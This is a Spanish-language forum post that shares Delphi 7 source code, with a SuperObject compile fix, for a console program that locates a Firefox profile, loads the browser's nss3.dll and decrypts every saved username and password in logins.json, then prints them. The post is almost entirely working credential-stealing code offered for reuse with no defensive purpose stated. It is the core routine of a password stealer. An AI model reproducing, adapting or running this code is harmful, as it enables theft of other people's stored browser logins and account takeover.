encontre en un par de paginas el siguiente codigo
fue un dolor de bolas hacerlo andar en delphi 7
para d7 necesitan superobject v 1.2.4 // año 2012 (lo busque y lo encontre )
y añadir a la funcion TSuperAvlEntry.Hash las lineas marcadas

{$OVERFLOWCHECKS off}//agregar esta linea
class function TSuperAvlEntry.Hash(const k: SOString): Cardinal;
var
  h: cardinal;
  i: Integer;
begin
  h := 0;
//{$Q-}
  for i := 1 to Length(k) do
    h := h*129 + ord(k[i]) + $9e370001;
//{$Q+}
  Result := h;
end;
 {$OVERFLOWCHECKS ON}//agregar esta linea

esta mejor explicado aca
[Enlace externo eliminado para invitados]

program Project2;

{$APPTYPE CONSOLE}


uses
  Windows,
  SysUtils,
  Registry,
  StrUtils,
  superobject;

var
  FFPath, PRFPath: String;
   function SetDllDirectory(lpPathName:PChar): Bool; stdcall; external 'kernel32.dll' name 'SetDllDirectoryA';//'SetDllDirectoryW';
function getFileSize(const Name: string): Integer;
var
  SRec: TSearchRec;
begin
  Result := 0;
  if FindFirst(name, faAnyfile, SRec) = 0 then
  begin
    Result := SRec.Size;
    FindClose(SRec);
  end;
end;

function isFirefoxInstalled: Boolean;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  with Reg do
  try
    RootKey := HKEY_LOCAL_MACHINE;
    Result := OpenKey('Software\Mozilla\Mozilla Firefox', False);
  finally
    Free;
  end;
end;

function getFirefoxPath: String;

  function ReadKeyToString(hRoot: HKEY; sKey, sSubKey: string): string;
  var
    hOpen: HKEY;
    sBuff: array [0 .. 255] of char;
    nSize: Integer;
  begin
    if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then
    begin
      nSize := SizeOf(sBuff);
      RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @nSize);
      Result := sBuff;
    end;
    RegCloseKey(hOpen);
  end;

var
  FFVer: String;
begin
  //VERSION DE MOZILA
  FFVer := ReadKeyToString(HKEY_LOCAL_MACHINE,
    'Software\Mozilla\Mozilla Firefox', 'CurrentVersion');
    //DONDE ESTA INSTALADO
  Result := ReadKeyToString(HKEY_LOCAL_MACHINE,
    'Software\Mozilla\Mozilla Firefox\' + FFVer + '\Main', 'Install Directory');
end;

function getProfilesPath: String;
var
  AppData: String;
  sResult: TSearchRec;
begin
  AppData := GetEnvironmentVariable('APPDATA');

  if FindFirst(AppData + '\Mozilla\Firefox\Profiles\*.default*', faDirectory, sResult) = 0 then
  begin
    Result := AppData + '\Mozilla\Firefox\Profiles\' + sResult.Name;
    FindClose(sResult);
  end;
end;


function getCredentials: String;
type
  PSECItem = ^TSECItem;
  TSECItem = packed record
    SECItemType: DWORD;
    SECItemData: PAnsiChar;
    SECItemLen: DWORD;
  end;
var
 NSSModule: HModule;

  NSS_Init: function(configdir: PAnsiChar): DWORD; cdecl;

  NSSBase64_DecodeBuffer: function(
  arenaOpt: Pointer; outItemOpt: PSECItem;
  inStr: PAnsiChar; inLen: DWORD): DWORD; cdecl;

  PK11_GetInternalKeySlot: function: Pointer; cdecl;

  PK11_Authenticate: function(
  slot: Pointer; loadCerts: Boolean; wincx: Pointer): DWORD; cdecl;

  PK11SDR_Decrypt: function(
  data: PSECItem; Result: PSECItem; cx: Pointer): DWORD; cdecl;

  NSS_Shutdown: procedure; cdecl;

  PK11_FreeSlot: procedure(slot: Pointer); cdecl;

  EncSECItem1,
  DecSECItem1: array of TSECItem;
  EncSECItem2,
  DecSECItem2: array of TSECItem;

  KeySlot: Pointer;

  i: integer;
  Logins: TSuperArray;
  IMyObject: ISuperObject;
  ILoop: ISuperObject;

  Username, Password: AnsiString;
  Buffer: String;
begin
  SetDllDirectory(PChar(FFPath));
  NSSModule := LoadLibrary('nss3.dll');
  SetDllDirectory(nil);

  @NSS_Init := GetProcAddress(NSSModule, 'NSS_Init');
  @NSS_Shutdown := GetProcAddress(NSSModule, 'NSS_Shutdown');
  @PK11_FreeSlot := GetProcAddress(NSSModule, 'PK11_FreeSlot');
  @PK11_Authenticate := GetProcAddress(NSSModule, 'PK11_Authenticate');
  @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, 'PK11_GetInternalKeySlot');
  @PK11SDR_Decrypt := GetProcAddress(NSSModule, 'PK11SDR_Decrypt');
  @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, 'NSSBase64_DecodeBuffer');
  IMyObject := TSuperObject.ParseFile(PRFPath + '\logins.json', false);
  
  Logins:= IMyObject.A['logins'];
  if Logins.Length > 0 then
  begin
    if NSS_Init(PAnsiChar(AnsiString(PRFPath))) = ERROR_SUCCESS then
    begin
      KeySlot := PK11_GetInternalKeySlot;
      if KeySlot <> nil then
      begin
      if PK11_Authenticate(KeySlot, True, nil) = 0 then
      begin
      SetLength(DecSECItem1, Logins.Length);
      SetLength(EncSECItem1, Logins.Length);
      SetLength(DecSECItem2, Logins.Length);
      SetLength(EncSECItem2, Logins.Length);
      for i := 0 to Logins.Length - 1 do
      begin
      ILoop := Logins.O[i];
      if not AnsiContainsText(ILoop.S['hostname'], 'facebook') then
      begin
            Result := Result + ILoop.S['hostname'] + sLineBreak;

            Username := ILoop.S['encryptedUsername'];
            NSSBase64_DecodeBuffer(nil, @EncSECItem1[i], PAnsiChar(Username), Length(Username));
            PK11SDR_Decrypt(@EncSECItem1[i], @DecSECItem1[i], nil);
            SetString(Buffer, DecSECItem1[i].SECItemData, DecSECItem1[i].SECItemLen);
            Result := Result + Buffer + sLineBreak;

            Password := ILoop.S['encryptedPassword'];
            NSSBase64_DecodeBuffer(nil, @EncSECItem2[i], PAnsiChar(Password), Length(Password));
            PK11SDR_Decrypt(@EncSECItem2[i], @DecSECItem2[i], nil);
            SetString(Buffer, DecSECItem2[i].SECItemData, DecSECItem2[i].SECItemLen);
            Result := Result + Buffer + sLineBreak + sLineBreak;
      end;
      end;
      end;
      PK11_FreeSlot(KeySlot);
      end;
      NSS_Shutdown;
    end;
  end;
  FreeLibrary(NSSModule);
end;


begin

  FFPath := getFirefoxPath;
  PRFPath := getProfilesPath;
  WRITELN(getCredentials);
  readln;

end.